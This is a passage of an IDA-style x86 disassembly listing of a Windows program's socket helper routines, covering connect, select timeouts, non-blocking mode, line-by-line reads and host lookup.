		jz	short loc_41A8A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A9C0	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AB24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AB24
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AABC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AABC
		call	sub_40196A
		test	al, al
		jz	loc_41AABC


loc_41AA1B:				; CODE XREF: sub_41A9C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AB24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jz	short loc_41AAAF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AB24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AABC


loc_41AAAF:				; CODE XREF: sub_41A9C0+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41AA1B


loc_41AABC:				; CODE XREF: sub_41A9C0+39j
					; sub_41A9C0+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AB24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAF1
		mov	[ecx], eax


loc_41AAF1:				; CODE XREF: sub_41A9C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB09
		test	eax, eax
		jz	short loc_41AB09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41A9C0+134j
					; sub_41A9C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB24:				; CODE XREF: sub_41A9C0+13j
					; sub_41A9C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A9C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABA0:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABD2
		mov	[ecx], eax


loc_41ABD2:				; CODE XREF: ___:0041ABCEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABE0
		test	eax, eax
		jz	short loc_41ABE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABE0:				; CODE XREF: ___:0041ABD5j
					; ___:0041ABD9j
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: ___:0041ABA9j
					; ___:0041ABB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC20:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC3C:				; CODE XREF: ___:0041AC32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC52


loc_41AC48:				; CODE XREF: ___:0041AC8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC52:				; CODE XREF: ___:0041AC46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ACB6
		mov	edi, ebp


loc_41AC6B:				; CODE XREF: ___:0041ACB4j
		cmp	edi, ebx
		jz	short loc_41ACB6
		cmp	[esp+18h], bl
		jz	short loc_41ACB6
		call	sub_40196A
		test	al, al
		jz	short loc_41ACB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ACA1
		cmp	al, 0Dh
		jz	short loc_41ACA1
		cmp	al, bl
		jnz	short loc_41ACA9


loc_41ACA1:				; CODE XREF: ___:0041AC97j
					; ___:0041AC9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ACA9:				; CODE XREF: ___:0041AC9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC6B


loc_41ACB6:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD00:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AD1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD1C:				; CODE XREF: ___:0041AD12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD32


loc_41AD28:				; CODE XREF: ___:0041AD6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: ___:0041AD26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD9D
		mov	edi, ebp


loc_41AD4B:				; CODE XREF: ___:0041AD9Bj
		cmp	edi, ebx
		jz	short loc_41AD9D
		cmp	[esp+18h], bl
		jz	short loc_41AD9D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AD28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD7D
		cmp	al, bl
		jnz	short loc_41AD90


loc_41AD7D:				; CODE XREF: ___:0041AD77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD8C
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: ___:0041AD82j
		mov	[edi], bl


loc_41AD8C:				; CODE XREF: ___:0041AD88j
		mov	[esp+18h], bl


loc_41AD90:				; CODE XREF: ___:0041AD7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD4B


loc_41AD9D:				; CODE XREF: ___:0041AD47j
					; ___:0041AD4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF2:				; CODE XREF: ___:0041ADEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE03:				; CODE XREF: ___:0041ADFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE30	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41AE30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE53:				; CODE XREF: sub_41AE30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AE30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE80:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AEBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AEB5
		cmp	[esi+80Bh], cl
		jz	short loc_41AEB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEB5:				; CODE XREF: ___:0041AE9Ej
					; ___:0041AEA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEBF:				; CODE XREF: ___:0041AE99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEF5:				; CODE XREF: ___:0041AEE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF6D:				; CODE XREF: ___:0041AF61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AFA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AFA9:				; CODE XREF: ___:0041AF9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B090
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		call	near ptr 71AB4519h
		nop
		retn	4
; ---------------------------------------------------------------------------


loc_41B090:				; CODE XREF: sub_41B060+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		call	near ptr 71AB4519h
		nop
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B128
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B128:				; CODE XREF: sub_41B110+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B140	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B140	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B172
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B172:				; CODE XREF: sub_41B160+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B1C5
		push	esi
		call	near ptr 71AB4FD4h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B197
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B197:				; CODE XREF: sub_41B160+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B1AC


loc_41B1A1:				; CODE XREF: sub_41B160+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B1A1


loc_41B1AC:				; CODE XREF: sub_41B160+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B1C5:				; CODE XREF: sub_41B160+20j
		pop	edi
		pop	esi
		retn	4
sub_41B160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C007
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B22F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3DB
; ---------------------------------------------------------------------------


loc_41B22F:				; CODE XREF: ___:0041B218j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B26C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B26C:				; CODE XREF: ___:0041B256j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B292
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: ___:0041B27Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B2D6:				; CODE XREF: ___:0041B2BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2E4:				; CODE XREF: ___:0041B302j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B308
		cmp	cl, bl
		jz	short loc_41B304
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B308
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2E4


loc_41B304:				; CODE XREF: ___:0041B2EEj
		xor	eax, eax
		jmp	short loc_41B30D
; ---------------------------------------------------------------------------


loc_41B308:				; CODE XREF: ___:0041B2EAj
					; ___:0041B2F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B30D:				; CODE XREF: ___:0041B306j
		cmp	eax, ebx
		jz	short loc_41B37B
		push	ebp


loc_41B312:				; CODE XREF: ___:0041B365j
					; ___:0041B369j
		nop
		call	near ptr 27E0B10h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B326
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B36B


loc_41B326:				; CODE XREF: ___:0041B31Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B332
		mov	edi, ebp


loc_41B332:				; CODE XREF: ___:0041B32Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B33A:				; CODE XREF: ___:0041B358j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B35E
		cmp	cl, bl
		jz	short loc_41B35A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B35E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B33A


loc_41B35A:				; CODE XREF: ___:0041B344j
		xor	eax, eax
		jmp	short loc_41B363
; ---------------------------------------------------------------------------


loc_41B35E:				; CODE XREF: ___:0041B340j
					; ___:0041B34Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B363:				; CODE XREF: ___:0041B35Cj
		cmp	eax, ebx
		jnz	short loc_41B312
		mov	edi, ebp
		jmp	short loc_41B312
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: ___:0041B324j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B388
; ---------------------------------------------------------------------------


loc_41B37B:				; CODE XREF: ___:0041B30Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B388:				; CODE XREF: ___:0041B379j
		push	offset byte_448F30
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B3A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B3A8:				; CODE XREF: ___:0041B398j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B3C0:				; CODE XREF: ___:0041B2D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B3CE:				; CODE XREF: ___:0041B267j
					; ___:0041B28Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3DB:				; CODE XREF: ___:0041B22Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B490:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4E8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4E8:				; CODE XREF: sub_41B4D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B500	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B500	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B570:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B5B0	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B6C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B6C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B613


loc_41B5E9:				; CODE XREF: sub_41B5B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF
		mov	al, byte_4E8E44
		test	al, al
		jz	short loc_41B613
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5E9


loc_41B613:				; CODE XREF: sub_41B5B0+37j
					; sub_41B5B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF


loc_41B61E:				; CODE XREF: sub_41B5B0+F9j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41B6AF
		test	esi, esi
		jnz	short loc_41B64E
